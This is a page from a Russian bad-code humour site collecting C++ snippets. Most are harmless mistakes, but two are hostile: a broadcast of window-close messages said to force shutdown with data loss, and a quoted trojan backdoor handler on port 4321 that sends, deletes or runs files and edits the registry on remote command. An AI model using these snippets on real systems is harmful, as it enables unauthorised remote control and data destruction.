- 1
- 2
- 3
- 4
- 5
int getRandomNumber(){
int Number[1];
return Number[6];
}
//Я только учусь, поэтому не судите строго.
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+15
int getRandomNumber(){
int Number[1];
return Number[6];
}
//Я только учусь, поэтому не судите строго.
И кому теперь нужно srand(GetTickCount());
+14
BOOL shutdown_windows()
{
//...
Sleep(1000);
return FALSE; // Если к этому времени мы еще не закрыты - что-то пошло не так.
}
+19
#include <Windows.h>
int main(int argc, char* argv[])
{
PostMessageA(HWND_BROADCAST, WM_CLOSE, 0, 0); // Противник оглушен!
PostMessageA(HWND_BROADCAST, WM_DESTROY, 0, 0); // Finish him!
PostMessageA(HWND_BROADCAST, WM_QUIT, 0, 0); // FATALITY!!!
return 0;
}
Вот так, легко и непринужденно, мы заставляем ОС Windows перезагрузиться с потерей всех несохраненных данных, попутно кладя большой и толстый на UAC.
+5
#include "iostream"
using namespace std;
void main ()
{
setlocale(LC_ALL,"Russian"); //Поддержка киррилицы
float A1,A2,A3,A4,A5;
int N;
int i;
cout<<"Введите количество выступлений"<<endl;
cin>>N; //Вводим кол-во выступлений
for(i=0;i<N;i++) //Вводим массив
{cout<<"Введите оценки за выступление"<<endl;
cout<<"Введите оценку 1"<<endl;
cin>>A1;
cout<<"Введите оценку 2"<<endl;
cin>>A2;
cout<<"Введите оценку 3"<<endl;
cin>>A3;
cout<<"Введите оценку 4"<<endl;
cin>>A4;
cout<<"Введите оценку 5"<<endl;
cin>>A5;
if(A1>A2&&A1>A3&&A1>A4&&A1>A5) {cout<<A1;}
else if (A2>A1&&A2>A3&&A2>A4&&A2>A5) {cout<<"Максимальная оценка = "<<A2<<endl; }
else if (A3>A1&&A3>A2&&A3>A4&&A3>A5) {cout<<"Максимальная оценка = "<<A3<<endl; }
else if (A4>A1&&A4>A2&&A4>A3&&A4>A5) {cout<<"Максимальная оценка = "<<A4<<endl; }
else if (A5>A1&&A5>A2&&A5>A3&&A5>A4) {cout<<"Максимальная оценка = "<<A5<<endl; }
}
}
ЗАДАЧА
Пожалуйста помогите составить для задачи на с++
Я решаю задачи, но блок схемы строить не могу
С ответов Гугла.
http://otvety.google.ru/otvety/thread?tid=5bd43c242dce51f8
+22
switch(par)
{
case 'O' : cdcb.Parity = ODDPARITY;
case 'M': cdcb.Parity = MARKPARITY;
case 'E' : cdcb.Parity = EVENPARITY;
case 'N' : cdcb.Parity = NOPARITY;
default : cdcb.Parity = NOPARITY;
}
И это в классе dracula
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
+15
// file: Filter.h
inline const CString GetField() const
{
if (m_strField.compare(MBL_FT_AUTHID_STRING) == 0)
{
return CString(MBL_FT_AUTHID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_CORRELATION_ID_STRING) == 0)
{
return CString(MBL_FT_CORRELATION_ID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_PLAN_STRING) == 0)
{
return CString(MBL_FT_PLAN_SERVER_STRING);
}
// ... всего 14 веток в таком духе ...
else if (m_strField.compare(MBL_FT_DDF_ACCOUNTING_STRING_STRING) == 0)
{
return CString(MBL_FT_DDF_ACCOUNTING_STRING_SERVER_STRING);
}
return m_strField;
}
Автор — русский.
+6
// функция квадрата расстояния на гексагональном поле
Fixed SDist2 (Fixed dx, Fixed dy)
{
return (dx*dx+dy*dy+dx*dy);
}
// а теперь типа находим ближайшее целое, ближайшее в гексагональном смысле
const Fixed rx = int(rtx), ry = int(rty);
const Fixed
d00 = SDist2(rx -rtx, ry -rty),
d10 = SDist2(rx+fx1-rtx, ry -rty),
d01 = SDist2(rx -rtx, ry+fx1-rty),
d11 = SDist2(rx+fx1-rtx, ry+fx1-rty);
int x,y;
if (d00<d10 && d00<d01 && d00<d11)
{
x=int(rx); y=int(ry);
} else if (d10<d01 && d10<d11)
{
x=int(rx)+1; y=int(ry);
} else if (d01<d11)
{
x=int(rx); y=int(ry)+1;
} else
{
x=int(rx)+1; y=int(ry)+1;
}
изящно не получилось
+3
#include <iostream>
using namespace std;
class Base {
public:
Base() {
cout << "Base construct\n";
}
virtual ~Base() {
cout << "Base destruct\n";
}
};
class Child: public Base {
public:
Child() {
cout << "Child construct\n";
}
~Child() {
cout << "Child destruct\n";
}
};
int main() {
Base *base = new Child();
delete base;
}
Hy нe oчeвиднo жe! Для тoгo, чтoб вызывaлиcь вce дecтpyктopы, нyжнo oбъявить eгo виpтyaльным. B тo вpeмя кaк кoнcтpyктop бeз мoдификaтopa virtual paбoтaeт тaк жe, кaк виpтyaльный дecтpyктop.
И зaчeм вoбщe ocтaвлять вoзмoжнocть нe виpтyaльнoгo дecтpyктopa - нe мoгy пpeдcтaвить ceбe cлyчaя, кoгдa пpи yдaлeнии oбъeктa нyжeн вызoв дecтpyктopa тoлькo бaзoвoгo клacca.
+17
// base class for objects that need to be initialized
//
struct Initializable
{
protected:
inline void OneTimeInit()
{
#if _DEBUG_BUILD
ASSERT(!m__hasBeenIsInitialized);
m__hasBeenIsInitialized = true;
#endif // _DEBUG_BUILD
}
inline void OneTimeDestroy()
{
#if _DEBUG_BUILD
ASSERT(m__hasBeenIsInitialized);
m__hasBeenIsInitialized = false;
#endif // _DEBUG_BUILD
}
inline void CheckInitialized()
{
#if _DEBUG_BUILD
mxBREAK_IF( !m__hasBeenIsInitialized );
#endif // _DEBUG_BUILD
}
inline Initializable()
{
#if _DEBUG_BUILD
m__hasBeenIsInitialized = false;
#endif // _DEBUG_BUILD
}
inline ~Initializable()
{
#if _DEBUG_BUILD
ASSERT(!m__hasBeenIsInitialized);
#endif // _DEBUG_BUILD
}
private:
#if _DEBUG_BUILD
bool m__hasBeenIsInitialized;
#endif // _DEBUG_BUILD
};
template< class KLASS > // where KLASS : TGlobal<KLASS>, Initializable
struct DependsOn
{
protected:
DependsOn()
{
ASSERT( KLASS::HasInstance() );
ASSERT( KLASS::Get().IsInitialized() );
}
};
template< class KLASS > // where KLASS : TGlobal<KLASS>
struct DependsOnGlobal
{
protected:
DependsOnGlobal()
{
ASSERT( KLASS::HasInstance() );
//ASSERT( KLASS::Get().IsInitialized() );
}
};
Базовый класс для дебажной проверки того, был ли инициализирован конкретный объект.
Этот бред находился в самой древней кодобазе, сейчас нигде не используется. Удаляю.